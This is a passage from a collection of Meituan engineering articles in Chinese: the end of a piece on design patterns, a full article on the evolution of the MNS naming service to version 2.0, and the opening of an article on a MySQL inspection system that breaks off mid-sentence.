    public void invokeAll(RuleContext ruleContext) {
        for(Rule rule : userPortraitRuleChain) {
            rule.evaluate(ruleContext)
        }
    }
}

责任链模式最重要的优点就是解耦，将客户端与处理者分开，客户端不需要了解是哪

个处理者对事件进行处理，处理者也不需要知道处理的整个流程。在我们的系统中，

后台的过滤规则会经常变动，规则和规则之间可能也会存在传递关系，通过责任链模

式，我们将规则与规则分开，将规则与规则之间的传递关系通过 Spring 注入到 List

中，形成一个链的关系。当增加一个规则时，只需要实现 BasicRule 接口，然后将

新增的规则按照顺序加入 Spring 中即可。当删除时，只需删除相关规则即可，不需

要考虑代码的其他逻辑。从而显著地提高了代码的灵活性，提高了代码的开发效率，

同时也保证了系统的稳定性。

四、总结

本文从营销业务出发，介绍了领域模型到代码工程之间的转化，从 DDD 引出了设计

模式，详细介绍了工厂方法模式、策略模式、责任链模式以及状态模式这四种模式在
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营销业务中的具体实现。除了这四种模式以外，我们的代码工程中还大量使用了代理

模式、单例模式、适配器模式等等，例如在我们对 DDD 防腐层的实现就使用了适配

器模式，通过适配器模式屏蔽了业务逻辑与第三方服务的交互。因篇幅原因不再进行

过多的阐述。

对于营销业务来说，业务策略多变导致需求多变是我们面临的主要问题。如何应对复

杂多变的需求，是我们提炼领域模型和实现代码模型时必须要考虑的内容。DDD 以

及设计模式提供了一套相对完整的方法论帮助我们完成了领域建模及工程实现。其

实，设计模式就像一面镜子，将领域模型映射到代码模型中，切实地提高代码的复用

性、可扩展性，也提高了系统的可维护性。

当然，设计模式只是软件开发领域内多年来的经验总结，任何一个或简单或复杂的设

计模式都会遵循上述的七大设计原则，只要大家真正理解了七大设计原则，设计模式

对我们来说应该就不再是一件难事。但是，使用设计模式也不是要求我们循规蹈矩，

只要我们的代码模型设计遵循了上述的七大原则，我们会发现原来我们的设计中就已

经使用了某种设计模式。

五、参考资料
软件设计模式 - 百度百科

快速理解 - 设计模式六大原则

Software design pattern
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领域驱动设计在互联网业务开发中的实践
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美团命名服务的挑战与演进

作者：舒超　张翔

本文根据美团基础架构部技术专家舒超在 2019 ArchSummit（全球架构师峰会）上

的演讲内容整理而成。

命名服务主要解决微服务拆分后带来的服务发现、路由隔离等需求，是服务治理的基

石。美团命名服务（以下简称 MNS）作为服务治理体系 OCTO 的核心模块，目前承

载美团上万项服务，日均调用达到万亿级别。为了更好地支撑美团各项飞速发展的业

务，MNS 开始从 1.0 向 2.0 演进。本文将围绕本次演进的初衷、实现方案以及落地

的效果等方面进行展开，同时本文还介绍了命名服务作为一个技术中台组件，对业务

的重要价值以及推动业务升级的一些成果。希望本文对大家能够有所启发。

一、MNS 1.0 简介

图 1　MNS 1.0 架构
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从架构上看，MNS 1.0 主要分为三层：首先是嵌入业务内部的 SDK，用作业务自定

义调用；然后是驻守在每个机器上的 SgAgent，以代理的方式将一些易变的、消耗

性能的计算逻辑与业务进程分离开来，从而降低 SDK 对业务的侵入，减少策略变动

对业务的干扰；远端是集中式的组件，包括健康检查模块 Scanner，鉴权缓存模块

MNSC，以及基于 ZooKeeper（以下简称 ZK）打造的一致性组件 MNS-ZK，作为

通知和存储模块。在层级之间设立多级缓存，利用“边缘计算”思想拆分逻辑，简

化数据，尽量将路由分配等工作均摊到端上，从而降低中心组件负载。更多详情大

家可参考《美团大规模微服务通信框架及治理体系 OCTO 核心组件开源》一文中的

OCTO-NS 部分。

在体量方面，MNS 1.0 已经接入了美团所有的在线应用，涉及上万项服务、数十万

个节点，并覆盖了美团所有的业务线，日均调用达万亿级别，目前我们已将其开源。

总的来讲，作为公司级核心服务治理组件，MNS 1.0 在架构上带有明显的 CP 属性，

在保持架构简洁、流程清晰的同时，还支持了业务大量迭代的需求，较好地帮助公司

业务实现了服务化、标准化的目标。

二、MNS 1.0 遇到的问题和挑战

图 2　近三年美团业务增长数据

https://tech.meituan.com/2019/08/08/large-scale-microservice-communication-framework.html
https://github.com/Meituan-Dianping/octo-ns
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但是随着美团业务的快速增长，公司的服务数、节点数、服务信息量、服务变动频次

等维度都在快速增长，有些服务甚至呈现出跨数量级的增长。在这样的情况下，命名

服务也面临着一些新的问题和挑战：

 ● 可用性：公司业务持续高速增长，很多都需要进行跨地域的部署。在 MNS 1.0 

架构下，地域之间的专线如果断连，会发生一个地域命名服务整体不可用的情

况；其次，强一致组件存在单点问题，Leader 出现故障，整个集群中断服务；

另外，在多客户端和大数据传输的命名服务场景下，CP 系统恢复困难，RTO

达到小时级别。MNS 1.0 曾经出现过后端集中式组件单机连接超过十万且活

跃链接数过半的情况，出现问题之后，现场恢复的负荷可想而知，这些都给命

名系统的可用性带来很大的风险。

 ● 扩展性：相对于需要支持的业务数量，MNS 1.0 整体平行扩展能力不足。

MNS-ZK 的单集群规模上限不超过 300（实际只能达到 250 左右，这与

ZooKeeper 内部的 myid 等机制有关），否则同步性能会急剧恶化；其次，集

群写入不可扩展，参与写入节点越多性能越差；另外，服务信息快照在固定的

时间片内持续增长，增加 IO 压力的同时也延长了迁移的同步时间。而扩展性

上的短板，导致 MNS 1.0 难以应对突发的流量洪峰，易出现“雪崩”。

 ● 性能：写入操作受 CP 属性限制，串行性能较低。MNS-ZK 整体到 7000 左

右的写量就已接近上限。其次，在热点服务场景下，数据分发较慢，这跟数据

粒度较粗也有一定关系。而数据粒度粗、量大，也会在组件间传输消息时，导

致临时对象频繁生成，引起 GC。另外，MNS 1.0 的后端集群负载还存在均

衡性问题，一是因为原架构中缺乏集中管控服务，无法进行动态的集群与数据

拆分伸缩，二是因为强一致属性下，集群节点间基于 Session 的迁移现场较

重，很容易因一个节点挂掉而引起连锁反应。
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图 3　命名服务应该是 AP 系统

从可用性、扩展性、性能等三个方面，MNS 1.0 暴露出很多的问题，究其根源，原

来的命名服务作为一个 CP 系统，为获得“数据一致性”而牺牲了部分情况下的可

用性。其实，对于命名服务而言，一致性并没有这么重要，最多是调用方在一定时间

内调多了或调漏了服务方而已，这个后果在不可靠网络的大前提下，即使命名服务没

有出现问题，也可能经常会出现。借助端的自我检查调整机制，其影响可以说微乎其

微。而另一方面，如果是一个机房或一个地域的调用方和服务方没有问题，但是因为

这个区域和命名服务主集群断开了链接，从而导致本域内不能互调，这个就显得不太

合理了。

所以总结一下，我们认为，命名服务的本质是建立和增强服务本身的连通性，而不是

主动去破坏连通性。命名服务本质上应该是一个 AP 系统。

其实，业界对命名服务 AP/CP 模式都有相应实现和应用，很多企业使用 CP 模式，

原因可能有以下几点 :

 ● 架构行为简单：CP 系统在出现分区时行为比较简单，冷冻处理，粗暴但相对

不容易出错。

 ● 启动门槛低：一些成熟的开源一致性组件，比如 ZK、etcd 都是 CP 系统，能

够开箱即用，在数据规模可控的情况下，基本能够满足企业的需求。
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另外，我们了解到，一些公司使用特殊的方式弱化了这个问题，比如将 CP 系统进

一步拆分到更小的域中（比如一个 IDC），缩小分区的粒度，而全局有多个 CP 系统

自治。当然，这个可能跟调用方服务方的跨度限制或者说调用配套部署有关系，但

也有可能带来更复杂的问题（比如 CP 系统之间的数据同步），这里就不做详细的讨

论了。

除去 MNS 1.0 本身的架构缺陷，我们还需要面临另一个问题，当初在项目启动时，

云原生尚处于起步阶段，而如今，一些基于云原生理念兴起的网络基础设施，尤其是

Service Mesh 在美团快速发展，也需要 MNS 进行改造去适配新的流量通道和管控

组件，这也是此次 MNS 2.0 演进的目标之一。

综上，我们以 AP 化、Mesh 化为主要目标，正式开始了从 MNS 1.0 向 MNS 2.0

的演进。

三、MNS 2.0

1. 整体架构

图 4　MNS 2.0 整体架构
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MNS 2.0 的整体架构自上而下主要分为四层：

 ● 业务系统层：这一层与 MNS 1.0 架构类似，依然是嵌入到业务系统中的 SDK

或框架，但是不再感知服务列表和路由计算，从而变得更加的轻薄。

 ● 代理接入层：这一层主要变化是加入了 Service Mesh 的 Sidecar 和 MNS-

API。前者将命名服务的部分链路接入 Mesh；后者为 MNS 增加了更丰富的

HTTP 调用，帮助一些没有使用 SDK 或框架的业务快速接入到命名服务。整

个代理接入层的改造使得 MNS 对接入业务更加亲和。

 ● 控制服务层：新增注册中心控制服务，这也是 MNS 2.0 的核心。主要分为以

下三个模块：

 ○ 网关管控模块：提供集中式的鉴权、限流 / 熔断、统计等 SOA 服务化的管

控能力，同时避免海量代理组件直连存储层。

 ○ 数据分发模块：数据的通道，包括注册数据的上传、订阅数据的下发，可进

行精细化数据拆分和平行扩展来适配热点服务。

 ○ 变更捕获模块：服务注册发现的审计，包括对第三方系统进行事件通知和回

调，支持多元化的服务数据营运需求。

 ○ 另外，控制服务层还包括全链路 SLA 监控等新的子模块，以及健康检查

Scanner 这样的传统 MNS 组件。

 ● 数据存储层：我们进一步丰富了命名服务的存储和分发介质，提高了数据层的

整体性能。主力存储使用 K/V 存储系统（美团 Cellar 系统）替代 MNS-ZK，

有效地提高了数据的吞吐能力，支持网络分区后的数据读写以及宕机灾备，同

时保留 ZK 做一些轻量级的 Notify 功能。新增的关系型数据库和消息队列（美

团 Mafka 系统），配合控制层的变更捕获模块，提供更方便的数据挖掘结构和

外部扇出。

旁路于上面 4 层的是外部营运设施，主要是业务端的可视化 Portal，用户可以在上

面对自身服务进行监控和操作，美团的基础研发部门也可以在上面进行一些集中式

的管控。
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综上所述，MNS 2.0 整体架构在兼容 1.0 的前提下，重点变化是：新增了控制服务

层并对底层存储介质进行拆解。下面，我们来看一下服务注册发现功能在 MNS 2.0

中的实现流程：

图 5　MNS 2.0 中的服务注册发现流程

1.	服务注册：代理接入层透传业务注册请求，经过控制服务层的管控模块

（Gateway）一系列 SOA 和审计流程后，写入注册数据到存储层。

2.	数据感知：控制服务监听数据变动，服务注册写入新信息后，分发模块

（Delivery）更新内存中的缓存，数据流经过捕获模块（CDC）将注册信息关系

化后存储到 DB。

3.	服务发现：代理层请求经过控制服务的管控模块（Gateway）效验后，从分发

模块（Delivery）的缓存中批量获取服务端注册信息。Cache Miss 场景时从

存储层读取数据。

4.	外部交互层：外部系统当下通过代理层接入整个 MNS 体系，避免直连存储带

来的各类风险问题。未来，营运平台可直接使用准实时 DB 数据，以 OLAP

方式进行关系化数据的分析。

接下来，我们一起来看下 MNS2.0 的主要演进成果。
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2. 演进成果

2.1	流量洪峰&平行扩展

流量洪峰对于不同领域而言有不同的时段。对于 O2O 领域比如美团来说，就是每天

中午的外卖高峰期，然后每天晚上也会有酒旅入住的高峰等等。当然，基于其它的业

务场景，也会有不同的高峰来源。比如通过“借势营销”等运营手段，带来的高峰量

可能会远超预期，进而对服务造成巨大的压力。

图 6　流量洪峰

MNS 1.0 受制于 MNS-ZK 集群数量上限和强一致性的要求，无法做到快速、平行

扩展。MNS 2.0 的数据存储层重心是保证数据安全读写和分布式协调，在扩展能力

层面不应该对其有太多的要求。MNS 2.0 的平行扩展能力主要体现在控制服务层，

其具体功能包括以下两个方面 :

集群分片：控制服务提供全量注册数据的分片能力，解决命名服务单独进行大集群部

署时不能进行业务线隔离的风险。MNS-Control 网关模块分为 Master 和 Shard 等

两类角色，协作提供大集群分片能力。

 ● Master：维护服务注册信息与各个分片集群（Shard）的映射关系，向代理

层组件提供该类 Meta 数据。Master 接收各个 Shard 集群事件，新增、清理

Shard 中维护的注册信息。
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 ● Shard：数据分片自治向代理组件提供服务注册 / 发现功能，实现按业务线隔

离命名服务，同时按照 Master 发出的指令，调整维护的注册信息内容。

 ● Services：业务服务通过代理组件接入 MNS，代理组件启动时通过与

Master 的交互，获知归属的 Shard 集群信息以及 Fallback 处理措施。此后

Agent 只与业务线 Shard 进行命名数据交互，直到 Shard 集群不可用，重新

执行“自发现”流程。

 ● Fallback 措施：设置一个提供全量服务信息的默认 Shard 集群，当业务线

Shard 异常时。一方面，Agent 重启“自发现”流程，同时将命名请求重定向

到默认的 Shard 集群，直到业务线 Shard 恢复后，流量再切回。

图 7　控制服务数据分片示意图

网络分区可用：MNS 1.0 阶段，网络分区对可用性的影响巨大，分区后 MNS-ZK 直

接拒绝服务。新架构将存储迁移到 KV 系统后，在网络专线抖动等极端情况下，各区

域依然能正常提供数据读取功能。同时，我们与公司存储团队共建 C++ SDK 的地域

就近读写功能。一方面，提高跨域服务注册发现的性能，另一方面，实现了网络分区

后，各区域内命名服务可读、可写的目标，提高了系统的可用性，整个命名服务对网

络的敏感度降低。
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图 8　命名服务的平行扩展

目前，控制服务层在平行扩缩容时间和集群原地恢复时间等方面，都达到了分钟级，

集群也没有节点上限，从而能够有效应对突发的流量，防止服务出现“雪崩”。

2.2	推送风暴&性能提升

另一个典型的场景是推送“风暴”，在服务集中发布、出现网络抖动等情况下，会导

致命名服务出现”一横一纵”两种类型的放大效应：横向是“关注放大”，类似于社

交网络中某大 V 消息需要分发给众多的粉丝，服务越核心，放大的效果越明显。纵向

是“级联放大”，命名服务的上下游会逐级进行拷贝发送，甚至一级上下游会针对一

个消息有多次的交互（Notify+Pull）。

图 9　命名服务领域的消息放大现象
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“关注放大”和“级联放大”本身都是无法避免的，这是由系统属性决定，而我们能

做的就是从两方面去平滑其带来的影响：

正面提升核心模块性能，增强吞吐、降低延迟

1. 结构化聚合注册信息：控制服务的数据分发模块，在内存中存储结构化的服务

注册信息，提供批量数据的读取能力；降低多次网络 RTT 传输单个数据以及

数据结构转化带来的高耗时。 2. 高并发的吞吐能力：控制服务通过无锁编程

处理关键路径的竞争问题，借助应用侧协程机制，提供高并发、低延迟的数

据分发功能。

2. 与存储团队共建，实现 KV 系统就近区域读写，提高命名服务的服务注册（数

据写入）性能。

另外，包括前面提到的控制服务集群的平行扩展能力，其实也是整体性能提升的一种

方式。

侧面疏通，区分冷热数据，降低推送的数据量，提高效能

自然界中普遍存在“80/20 法则”，命名服务也不例外。服务注册信息的结构体中元

素，80% 的改动主要是针对 20% 的成员，比较典型的就是服务状态。因此，我们

将单个整块的服务信息结构体，拆分为多个较小的结构体分离存储；当数据变动发生

时，按需分发对应的新结构体，能够降低推送的数据量，有效减少网络带宽的占用，

避免代理组件重复计算引起的 CPU 开销，数据结构变小后，内存开销也得到显著

降低。

那是否需要做到完全的“按需更新”，仅推送数据结构中变动的元素呢？我们认为，

完全的“按需更新”需要非常精细的架构设计，并会引入额外的计算存储开销。比

如，我们需要将变动成员分开存储以实现细粒度 Watcher，或用专门服务识别变动

元素然后进行推送。

同时，还要保证不同成员变动时，每次都要推送成功，否则就会出现不一致等问题。

在组件计算逻辑所需的数据发生变化时，也会带来更多的改动。在命名服务这样的大
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型分布式系统中，“复杂”、“易变”就意味着稳定性的下降和风险的上升。所以根据

“80/20 法则”，我们进行尺度合理的冷热数据分离，这是在方案有效性和风险性上进

行权衡后的结果。

图 10　冷热数据分拆推送

经过改造，MNS 2.0 相比 MNS 1.0 的吞吐能力提升 8 倍以上，推送成功率从 96%

提升到 99%+，1K 大小服务列表服务发现的平均耗时，从 10s 降低到 1s，TP999

从 90s 下降到 10s，整体优化效果非常明显。

2.3	融入 Service	Mesh

在 MNS 2.0 中，我们将代理服务 SgAgent 部分注册发现功能合并到了 Mesh 数据

面，其流程如下图所示：
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图 11　命名服务与 Service Mesh 的融合

关于美团服务治理功能与 Service Mesh 结合的技术细节，这部分的内容，我们今

年会单独做一个专题来进行分享，感兴趣的同学可以关注“美团技术团队”微信公众

号，敬请期待。

2.4	无损迁移

除了上面说到的 MNS 2.0 的这些重点演进成果之外，我们还想谈一下整个命名服务

的迁移过程。像 MNS 这样涉及多个组件、部署在公司几十万个机器节点上、支撑数

万业务系统的大规模分布式系统，如何进行平滑的数据迁移而不中断业务正常服务，

甚至不让业务感知到，是 MNS 2.0 设计的一个重点。围绕业务服务无感知、具备快

速回滚能力、新 / 老体系互备数据不丢失等要求，我们设计了如下图所示的迁移流程：
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图 12　MNS 2.0 的无损迁移

MNS 2.0 整体以服务为粒度进行迁移操作，设置标志位说明服务所处的状态，由接

入代理层组件识别该标志做出相应的处理。标志位包括：

1. 未迁移标志：服务注册 / 发现走 MNS 1.0 的流程，注册信息存储到重构前的

MNS-ZK 中。

2. 迁移中标志：服务注册并行走 MNS 1.0 和 MNS 2.0 流程，数据同时写入新

旧两个地方，服务发现执行 MNS 2.0 流程。

3. 已迁移标志：服务注册 / 发现全部走 MNS 2.0 流程，注册信息仅存储到

MNS 2.0 的数据层。该阶段无法进行平滑的回滚，是项目长期验证后最终的

迁移状态。

上述可以总结为：聚焦单个服务，阶段性迁移服务发现流量，从而达到类似系统新功

能发布时“灰度上线”的能力。当然，这个策略还涉及一些细节在其中，比如，分开

存储在双写时需要重点去保证异常情况下的最终一致性等等，鉴于篇幅原因，这里就

不详细展开讨论了，而且业界针对这种情况都有一些成熟的做法。
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另外，我们通过优化命名服务发布系统的发版形式，实现自动化的流量灰度策略，降

低了人力成本，同时构建了自动化的迁移工具、巡检工具，高效地进行自动化的数据

迁移工作，能够快速巡检迁移后的链路风险，保障新 MNS 2.0 的稳定上线。

2.5	演进总结

在美团命名服务这样的大型分布式系统优化过程中，具体到架构和功能设计层面，我

们也做了不少的权衡和取舍，前面我们也提到，放弃了增量式的精准变动信息推送方

式。在考虑性能的前提下，也没有使用数据多维度营运能力更好的 MySQL 作为主要

存取介质等等。取舍的核心原则是：改造目标时强调业务收益，落地过程中减少业务

感知。

目前，MNS 2.0 主要成果如下：

 ● 重构了 5 个已有的核心组件，研发了 2 个全新的系统，完成公司 PaaS 层数十

个服务的功能的适配改造，目前已成功迁移全公司 80% 以上的服务，且在迁

移过程中无重大事故。

 ● RTO 从数小时降到分钟级，RPO 为 0；全链路推送耗时 TP999 从 90s 降到

了 10s，推送成功率从 96% 提升到 99% 以上，基本完成了百万级别服务节

点治理能力的建设。

 ● 集群数据按照业务线等多维度进行拆分，建立了基于分级染色的 SLA 指标和

定期巡检机制，同时根据公司实际场景增加了众多的服务风控审计功能，保障

了业务安全。

 ● 云原生方面，支持了 Service Mesh，注册发现流程融入了 Mesh 底层基础

设施。

四、命名服务对业务的赋能

命名服务本身作为基础的技术中台设施，在坚持“以客户为中心”，升级自身架构的

同时，也从如下几个方面对美团的多个业务进行赋能。
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4.1	单元化&泳道

单元化（SET 化）是业界比较流行的容灾扩展方案，关于美团单元化的详细内容，可

参考 OCTO 团队在本次 ArchSummit 中的另一个专题分享《SET 化技术与美团点

评实践解密》。这里主要是从命名服务对单元化支撑的角度去解答这个问题。

图 13　命名服务对单元化的支持

如上图所示，业务多种来源的外网流量在通过网关进入内网后，会借助命名服务提供

的能力（SDK/Agent），并按照业务自定义的核心数据维度和机器属性，给流量打上

单元化标签，然后路由到标签匹配的下一跳，从而实现了单元间流量隔离。一个单元

内部，从服务节点到各种存储组件，都依赖于命名服务提供的单元识别和路由能力来

完成隔离，所以命名服务在单元化中主要起底层支撑的作用。目前单元化在美团的重

点业务，比如外卖、配送已经建设的比较完备，通过一定的单元冗余度，能在一个单

元出现问题时，切换到另一个可用的镜像单元，显著提高了业务整体可用性。

接下来，我们再来看一下泳道场景。目前泳道在美团这边主要用于业务做完代码 UT

之后的线下集成测试阶段，同时结合容器，实现一个即插即用的上下游调用环境去验
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证逻辑。命名服务在其中起到的作用与单元化类似，根据泳道发布平台对机器的配

置，自动编排上下游的调用关系。如下图所示：

图 14　泳道流量示意图

当下一跳存在泳道节点时，测试流量进入泳道。反之，测试流量回流到主干。每个节

点重复上述过程。

4.2	平滑发布&弹性伸缩

命名服务另外一个重要场景是服务的平滑发布，我们与发布平台配合，控制发布流

量的自动摘除与恢复，实现服务发布操作的自动化与透明化。具体流程如下图所示：

图 15　命名服务支持平滑发布
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早期的发布流程，存在异常调用的风险，上线过程中存在一段服务实例不可用的“时

间窗口”，此时流量再进入可能导致调用失败，然后会报错。为保证发布的稳定性，

需要操作人员手动进行流量排空，流程上效率低、易出错，浪费业务团队的时间。针

对这项业务痛点，命名服务向发布系统提供针对服务实例的流量管控能力，实现进程

重启前自动摘除并清空来源请求，升级完毕后，提供自动流量恢复的平滑发布功能。

智能地解决发版过程中的异常调用问题，提高公司的服务上线效率，降低了业务团队

的运维成本。

弹性伸缩是容器一个很大的卖点。但是在伸缩过程中有很多问题需要考虑，比如扩缩

容策略，包括调用亲和度配置，路由均衡等等。命名服务和容器化合作，提供业务的

上下游调用关系、分组设置信息、容器下线流量无损摘除等服务，同时保障伸缩服务

注册及时、高效。如下图所示：

图 16　命名服务支持弹性伸缩

4.3	服务数据

MNS 服务数据对业务的赋能主要分为两个部分，一是将自身运行状态以业务可理解

的 SLA 暴露出来，方便业务评估命名服务健康状况。对于命名服务来说，SLA 指标

主要有推送成功率和推送耗时两种（其实，推送耗时也可以看做成功率的一个衡量维

度，这里暂时不做太详细的区分）。
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MNS 1.0 精准量化运行状况的困难在于，一方面 MNS 的发布 / 订阅机制重度依赖

ZK，受限于 ZK 的自身实现和链路上众多不同组件的异构性，及时获取完整链路的推

送行为数据很困难。另一方面，由于节点数众多，全量采集服务发现数据，对公司的

监控上报系统以及采集之后的计算也是很大的负担。

在 MNS 2.0 中，我们首先在架构上显著弱化了 ZK 的地位，它基本上只作为一致性

通知组件。我们自研的 MNS-Control 可以充分 DIY 埋点场景，保证了主要推送行

为抓取的可控性。其次，我们采用了分级采样计算，在全面梳理了公司现有的服务

节点数比例后，将典型的服务列表数划分为几个档次，比如 1000 个节点的服务为一

档，100 个又为一档，并创建相应的非业务哨兵服务，然后在不同机房选取适量的采

样机器定期注册 + 拉取来评估整体的运行情况。这样既做到了上报量的精简，又兼顾

了上报数据的有效性。详细操作流程，如下图所示：

图 17　MNS 2.0 SLA 采集

控制层周期性修改采样服务中的服务数据，触发服务发现的数据推送流程。参与指标

统计的机器节点，本地代理进程获取到注册信息推送后，上报送达时间到运维平台并

由其写入存储层。 控制层对数据库中的数据进行聚合计算，最后上报监控系统展示指

标数据。此外，通过与监控团队合作，解决全量部署的 Agent 埋点监控问题。

命名服务存储的服务信息有很高的业务价值，从中可以知道服务的部署情况、发布频

次以及上下游拓扑信息等等。所以“赋能”的第二个部分在于，借助这些信息，我们

可以挖掘出业务服务部署运维上不合理的地方或风险点，不断推动优化，从来避免一
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些不必要的损失。目前已经在推动的项目包括：

 ● 单进程多端口改造：业务使用这种方式去区分不同的调用端口，从而造成端口

资源的浪费，而且调用下游还要感知部署信息，这种机器属性粒度细节的暴露

在云原生时代是不太恰当的。我们协助业务将调用行为改成单端口多接口的形

式，在协议内部去区分调用逻辑。

 ● 大服务列表的拆分：随着业务的发展，单个服务的节点数呈爆发式增长，甚至

出现了一个服务有接近 7W 的节点数的情况，对发布、监控、服务治理等底层

设施产生很大的压力。我们通过和业务的沟通，发现大列表产生的原因主要有

两点：1. 单机性能不够，只能以实例抗；2. 服务内容不够聚焦。换句话说，因

为服务还不够“微”，所以导致逻辑越来越庞大，有需求的调用方和自身实例

相应增加，代码风险也在增大。因此，我们和业务一起梳理分析架构和调用，

将核心共用模块与业务逻辑群分拆出来，减少冗余调用，最终使一些大服务节

点数量从数万降低到数千，实现了数量级的下降。

 ● 上下游均衡部署：这个比较容易理解，结合调用端与服务端比例、服务方机器

性能以及调用失败率等信息，可以作为服务业务在各机房间均衡调整机器数量

的参考。另一方面，我们也在减少基本就近调用策略的粒度，目前只保留了

“同 IDC”和“同城”两种，去掉了之前的“同中心策略”，减轻业务服务部署

的心智负担。后期，随着机房数量的降低和同地域机房间延时的可控，同城路

由可能是最终的方案。

在架构上，MNS 2.0 依赖 DB 和其它一些数仓介质，进行多种维度的数据上卷和下

钻，并结合一些定制的风险策略逻辑去帮助业务发现和规避问题，目前这个事情也在

进行中。
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图 18　MNS 2.0 数据赋能

五、未来展望

未来，美团命名服务主要会朝两个方向发展：

 ● 进一步收集、挖掘服务数据的价值，打造服务数据平台，赋能业务升级。从单

纯实现业务注册发现路由等需求，到通过数据反向推动业务架构流程改造升

级，这也是美团核心价值观“以客户为中心”的一种体现。

 ● 深度结合 Service Mesh 等云原生基础设施的演进。云原生理念及相关设施架

构的快速发展，必然会造成传统服务治理组件架构上流程的变动，深度拥抱云

原生，并享受基础功能下沉带来的“红利”，是命名服务一个比较确定的方向。
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美团MySQL数据库巡检系统的设计与应用

作者：王琦

巡检工作是保障系统平稳有效运行必不可少的一个环节，目的是能及时发现系统中存

在的隐患。我们生活中也随处可见各种巡检，比如电力巡检、消防检查等，正是这些

巡检工作，我们才能在稳定的环境下进行工作、生活。巡检对于数据库或者其他 IT

系统来说也同样至关重要，特别是在降低风险、提高服务稳定性方面起到了非常关键

作用。

本文介绍了美团 MySQL 数据库巡检系统的框架和巡检内容，希望能够帮助大家了

解什么是数据库巡检，美团的巡检系统架构是如何设计的，以及巡检系统是如何保障

MySQL 服务稳定运行的。

一、背景

为了保障数据库的稳定运行，以下核心功能组件必不可少：

图 1　数据库运维保障核心功能组件
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其中，数据库巡检作为运维保障体系最重要的环节之一，能够帮助我们发现数据库存

在的隐患，提前治理，做到防患于未然。对于大规模集群而言，灵活健壮的自动化巡

检能力，至关重要。

任何系统都会经历一个原始的阶段，最早的巡检是由中控机 + 定时巡检脚本 + 前端展

示构成的。但是，随着时间的推移，老巡检方案逐渐暴露出了一些问题：

 ● 巡检定时任务执行依赖中控机，存在单点问题；

 ● 巡检结果分散在不同的库表，无法进行统计；

 ● 巡检脚本没有统一开发标准，不能保证执行的成功率；

 ● 每个巡检项都需要单独写接口取数据，并修改前端用于巡检结果展示，比较

繁琐；

 ● 巡检发现的隐患需要 DBA 主动打开前端查看，再进行处理，影响整体隐患的

治理速度；

 ● ……

所以我们需要一个灵活、稳定的巡检系统来帮助我们解决这些痛点，保障数据库的

稳定。

二、设计原则

巡检系统的设计原则，我们从以下三个方面进行考虑：

稳定：巡检作为保证数据库稳定的工具，它自身的稳定性也必须有所保证； 

高效：以用户为中心，尽量化繁为简，降低用户的使用成本，让新同学也能迅速上手

治理和管理隐患；提高新巡检部署效率，随着架构、版本、基础模块等运维环境不断

变化，新的巡检需求层出不穷，更快的部署等于更早的保障； 

可运营：用数据做基础，对巡检隐患进行运营，包括推进隐患治理，查看治理效率、

趋势、薄弱点等。
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三、系统架构

美团 MySQL 数据库巡检系统架构图设计如下。接下来，我们按照架构图从下到上的

顺序来对巡检系统主要模块进行简单的介绍：

图 2　美团 MySQL 数据库巡检系统架构图

1.	执行层

巡检执行环境：由多台巡检执行机组成，巡检任务脚本会同时部署在所有执行机上。

执行机会定时从巡检 Git 仓库拉取最新的脚本，脚本使用 Python Virtualenv + Git

进行管理，方便扩充新的执行机。

任务调度：巡检任务使用了美团基础架构部研发的分布式定时任务系统 Crane 进行
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调度，解决传统定时任务单点问题。Crane 会随机指派某一台执行机执行任务，假如

这台执行机出现故障，会指派其他执行机重新执行任务。一般一个巡检任务对应着

一个巡检项，巡检任务会针对特定的巡检目标根据一定的规则来判断是否存在隐患。

巡检目标：除了对生产数据库进行巡检以外，还会对高可用组件、中间件等数据库周

边产品进行巡检，尽可能覆盖所有会引发数据库故障的风险点。

2.	存储层

巡检数据库：主要用来保存巡检相关数据。为了规范和简化流程，我们将巡检发现的

隐患保存到数据库中，提供了通用的入库函数，能够实现以下功能：

 ● 自动补齐隐患负责人、隐患发现时间等信息；

 ● 入库操作幂等；

 ● 支持半结构化的巡检结果入库，不同巡检的隐患结果包括不同的属性，比如巡

检 A 的隐患有“中间件类型”，巡检 B 有“主库 CPU 核数”，以上不同结构的

数据均可解析入库；

 ● 针对表粒度的隐患项，如果分库分表的表出现隐患，会自动合并成一个逻辑表

隐患入库。

巡检脚本Git 仓库：用来管理巡检脚本。为了方便 DBA 添加巡检，在系统建设过程

中，我们增加了多个公共函数，用来降低开发新巡检的成本，也方便将老的巡检脚本

迁移到新的体系中。

3.	应用层

集成到数据库运维平台：作为隐患明细展示、配置巡检展示、管理白名单等功能的入

口。为了提高隐患治理效率。我们做了以下设计。

 ● 隐患明细展示页面会标注每个隐患出现的天数，便于追踪隐患出现原因。

 ● 配置新的巡检展示时必须要同时制定隐患解决方案，确保隐患治理有章可循，

避免错误的治理方式导致“错上加错”。
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隐患运营后台：这个模块主要目的是推进隐患的治理。

 ● 运营报表，帮助管理者从全局角度掌握隐患治理进展，报表包括隐患趋势、存

量分布、增量分布、平均治理周期等核心内容，进而由上到下推动隐患治理；

报表数据同样是通过 crane 定时任务计算获得。

 ● 隐患治理催办功能，用来督促 DBA 处理隐患。催办内容中会带有隐患具体内

容、出现时长、处理方案等。催办形式包括大象消息、告警，具体选用哪种形

式可根据巡检关键程度做相应配置。

外部数据服务：主要是将巡检隐患数据提供给美团内部其他平台或项目使用，让巡检

数据发挥更大的价值。

 ● 对接先知平台（美团 SRE 团队开发的主要面向 RD 用户的风险发现和运营平

台），平台接收各服务方上报的隐患数据，以 RD 视角从组织架构维度展示各

服务的风险点，并跟进 RD 处理进度。巡检系统会把需要 RD 参与治理的隐

患，比如大表、无唯一键表等，借助先知平台统一推送给 RD 进行治理。

 ● 运维周报，主要面向业务线 RD 负责人和业务线 DBA，以静态报告形式展示

业务线数据库运行情况以及存在的问题，巡检隐患是报告内容之一。

四、巡检项目

巡检项目根据负责方分为 DBA 和 RD，DBA 主要负责处理数据库基础功能组件以及

影响服务稳定性的隐患。RD 主要负责库表设计缺陷、数据库使用不规范等引起的业

务故障或性能问题的隐患。也存在需要他们同时参与治理的巡检项，比如“磁盘可用

空间预测”等。目前巡检项目共 64 个，类目分布情况如下图所示：
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图 3　巡检项类目分布

集群：主要检查集群拓扑、核心参数等集群层面的隐患； 机器：主要检查服务器硬件

层面的隐患； Schema/SQL：检查表结构设计、数据库使用、SQL 质量等方面的隐

患； 高可用 / 备份 / 中间件 / 报警：主要检查相关核心功能组件是否存在隐患。

下面，我们通过列举几个巡检任务来对巡检项做简单的说明：
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五、成果

美团 MySQL 巡检系统已稳定运行近一年时间，基于新巡检体系上线的巡检项 49

